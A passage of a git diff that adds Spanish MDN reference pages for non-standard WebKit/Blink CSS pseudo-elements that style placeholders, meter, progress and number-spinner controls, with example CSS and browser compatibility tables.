+slug: 'Web/CSS/::-webkit-input-placeholder'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+  - Referencia CSS
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> no estándar y propietario <code>::-webkit-input-placeholder</code> representa el <a href="/es/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">marcador de posición de texto (placeholder text)</a> de un elemento formulario. Permite que desarrolladores y diseñadores de temas puedan personalizar este marcador de posición de texto (placeholder). Sólo está soportado por WebKit/Blink.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}}</li>
+ <li>{{cssxref(":-ms-input-placeholder")}}</li>
+ <li><a href="/es/docs/Web/HTML/Forms_in_HTML">Formularios en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-meter-bar/index.html b/files/es/web/css/_doublecolon_-webkit-meter-bar/index.html
new file mode 100644
index 0000000000..f84bebf096
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-meter-bar/index.html
@@ -0,0 +1,103 @@
+---
+title: '::-webkit-meter-bar'
+slug: 'Web/CSS/::-webkit-meter-bar'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-meter-bar'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La pseudo-clase <code>::-webkit-meter-bar</code> establece el estilo para el fondo del elemento meter que contiene el valor.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Puntuación sobre 10&lt;/meter&gt;</pre>
+
+<pre class="brush: css">meter {
+   /* Resetea a la apariencia por defecto */
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+meter::-webkit-meter-bar  {
+  background: #eee;
+  box-shadow: 0 2px 3px rgba (0, 0, 0, 0.2) inset;
+  border-radius: 3px;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '100%', 50) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Sólo funciona en navegadores basados en Webkit/Blink.</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>Los  pseudo-elementos usados en WebKit/Blink para dar estilos a otras partes del elemento {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html b/files/es/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html
new file mode 100644
index 0000000000..d309e32dfc
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html
@@ -0,0 +1,91 @@
+---
+title: '::-webkit-meter-even-less-good-value'
+slug: 'Web/CSS/::-webkit-meter-even-less-good-value'
+translation_of: 'Web/CSS/::-webkit-meter-even-less-good-value'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El pseudo-elemento <code>::-webkit-meter-even-less-good-value</code> da color rojo al elemento meter cuando el valor y el atributo optimum están fuera del rango establecido y en zonas opuestas. Por ejemplo valor &lt; low &lt; high &lt; optimum o valor&gt; high &gt; low &gt; optimum.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score out of 10&lt;/meter&gt;</pre>
+
+<pre class="brush: css">meter::-webkit-meter-even-less-good-value {
+  background: linear-gradient(to bottom, #f77, #d44 45%, #d44 55%, #f77);
+  height: 100%;
+  box-sizing: border-box;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '100%', 50) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: This will only work in Webkit/Blink-based browsers.</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>The pseudo-elements used by WebKit/Blink to style other parts of a {{htmlelement("meter")}} element are as follows:</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-meter-inner-element/index.html b/files/es/web/css/_doublecolon_-webkit-meter-inner-element/index.html
new file mode 100644
index 0000000000..b4a1d5e657
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-meter-inner-element/index.html
@@ -0,0 +1,106 @@
+---
+title: '::-webkit-meter-inner-element'
+slug: 'Web/CSS/::-webkit-meter-inner-element'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-meter-inner-element'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>El pseudo-elemento CSS ::-webkit-meter-inner-element</code> es un pseudo-elemento propietario de WebKit CSS para seleccionar y aplicar estilo al contenedor exterior de un elemento {{htmlelement("meter")}}. Es necesario una marca adicional para mostrar este elemento como si fuera de sólo lectura.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score out of 10&lt;/meter&gt;</pre>
+
+<pre class="brush: css">meter {
+  /* Resetear la apariencia por defecto*/
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+meter::-webkit-meter-inner-element {
+  -webkit-appearance: inherit;
+  box-sizing: inherit;
+  border: 1px solid #aaa;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '100%', 50) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Sólo funcionará en navegadores basasdo en Webkit/Blink.</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>Los pseudo-elementos usados por WebKit/Blink para dar estilo a otras partes del elemento {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
+
+<p> <br>
+  </p>
diff --git a/files/es/web/css/_doublecolon_-webkit-meter-optimum-value/index.html b/files/es/web/css/_doublecolon_-webkit-meter-optimum-value/index.html
new file mode 100644
index 0000000000..1ba5550c80
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-meter-optimum-value/index.html
@@ -0,0 +1,103 @@
+---
+title: '::-webkit-meter-optimum-value'
+slug: 'Web/CSS/::-webkit-meter-optimum-value'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-meter-optimum-value'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El pseudo-elemento CSS <code>::-webkit-meter-optimum-value</code> da estilo al elemento  meter cuando su valor está dentro del rango min-max establecido.</p>
+
+<p>El color por defecto es verde.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Puntuación sobre 10&lt;/meter&gt;</pre>
+
+<pre class="brush: css">meter::-webkit-meter-bar {
+  /* Necesario para eliminar la propiedad de fondo por defecto */
+  background : none;
+  background-color : whiteSmoke;
+  box-shadow : 0 5px 5px -5px #333 inset;
+}
+
+meter::-webkit-meter-optimum-value {
+  box-shadow: 0 5px 5px -5px #999 inset;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '100%', 50) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Sólo funciona en navegadores basado en Webkit/Blink.</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Soporte básico</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>Los pseudo-elementos de WebKit/Blink para dar estilos a otras partes de  {{htmlelement("meter")}}:</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html b/files/es/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html
new file mode 100644
index 0000000000..6213d4afa9
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html
@@ -0,0 +1,96 @@
+---
+title: '::-webkit-meter-suboptimum-value'
+slug: 'Web/CSS/::-webkit-meter-suboptimum-value'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-meter-suboptimum-value'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen"><strong>Resumen</strong></h2>
+
+<p>El pseudo-elemento CSS <code>::-webkit-meter-suboptimum-value</code> da color amarillo al elemento meter cuando su valor cae fuera del rango mix-max.</p>
+
+<h2 id="Especificaciones"><strong>Especificaciones</strong></h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplos"><strong>Ejemplos</strong></h2>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Puntuación sobre 10&lt;/meter&gt;</pre>
+
+<pre class="brush: css">meter::-webkit-meter-suboptimum-value {
+  background: -webkit-gradient linear, left top, left bottom,
+  height: 100%;
+  box-sizing: border-box;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '100%', 50) }}</p>
+
+<div class="note">
+<p><strong>Notae</strong>: Sólo funciona en navegadores basados en Webkit/Blink</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>Los pseudo-elementos usados por WebKit/Blink para dar estilo a otras partes del elemento {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-outer-spin-button/index.html b/files/es/web/css/_doublecolon_-webkit-outer-spin-button/index.html
new file mode 100644
index 0000000000..8351b2fa2e
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-outer-spin-button/index.html
@@ -0,0 +1,96 @@
+---
+title: '::-webkit-outer-spin-button'
+slug: 'Web/CSS/::-webkit-outer-spin-button'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-outer-spin-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El pseudo-elemento CSS <strong><code>::-webkit-outer-spin-button</code></strong> se usa para dar estilo a la parte exterior del selector de números  en un botón input de tipo <em>number</em>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input::-webkit-outer-spin-button {
+  -webkit-appearance: none;
+}</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="number"&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 200, 30)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatversionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-inner-spin-button")}}</li>
+ <li>{{cssxref("::-webkit-textfield-decoration-container")}}</li>
+ <li><a href="http://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement">Dando estilo a controles de formulario – WebKit</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-progress-bar/index.html b/files/es/web/css/_doublecolon_-webkit-progress-bar/index.html
new file mode 100644
index 0000000000..7aff28f56d
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-progress-bar/index.html
@@ -0,0 +1,112 @@
+---
+title: '::-webkit-progress-bar'
+slug: 'Web/CSS/::-webkit-progress-bar'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-progress-bar'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a> <a href="/es/docs/Web/CSS">CSS </a><strong><code>::-webkit-progress-bar</code></strong> representa la barra entera del elemento {{HTMLElement("progress")}} . Normalmente sólo está visible a partir de la porción rellena de la barra ya que, por defecto se muestra debajo del pseudo-lemento  {{ cssxref("::-webkit-progress-value") }}. Es hijo del pseudo-elemento  {{cssxref("::-webkit-progress-inner-element")}} y padre del pseudo-elemento  {{cssxref("::-webkit-progress-value")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> para que  <code>::-webkit-progress-value</code> tenga efecto , en el elemento <code>&lt;progress&gt; </code>{{cssxref("-webkit-appearance")}} debe tener el valor <em>none</em>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-bar {
+   background-color: orange;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 200, 50)}}</p>
+
+<p>Una barra de progreso que use el estilo indicado anteriormente será similar a la siguiente:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13488/progress-bar.png" style="height: 43px; width: 194px;"></p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementos usados por WebKit/Blink para dar estilo a otras partes del elemento {{HTMLElement("progress")}}:
+  <ul>
+   <li>{{ cssxref("::-webkit-progress-value") }}</li>
+   <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+  </ul>
+ </li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-progress-inner-element/index.html b/files/es/web/css/_doublecolon_-webkit-progress-inner-element/index.html
new file mode 100644
index 0000000000..55bb247275
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-progress-inner-element/index.html
@@ -0,0 +1,112 @@
+---
+title: '::-webkit-progress-inner-element'
+slug: 'Web/CSS/::-webkit-progress-inner-element'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-progress-inner-element'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a>  <a href="/es/docs/Web/CSS">CSS </a><strong><code>::-webkit-progress-inner-element</code></strong> representa la parte más exterior de un elemento  {{HTMLElement("progress")}}.  Es el padre del pseudo-elemento {{cssxref("::-webkit-progress-bar")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> para que  <code>::-webkit-progress-inner-element</code> tenga efecto , hay que darle valor none a {{cssxref("-webkit-appearance")}} en el elemento  <code>&lt;progress&gt;</code>.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-inner-element {
+  border: 2px solid black;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 200, 50)}}</p>
+
+<p>Una barra de progreso que use el estilo especificado anteriormente tendrá una apariencia similar a la siguiente::</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13492/-webkit-progress-inner-element%20example.png"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propitario y específico de WebKit/Blink.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
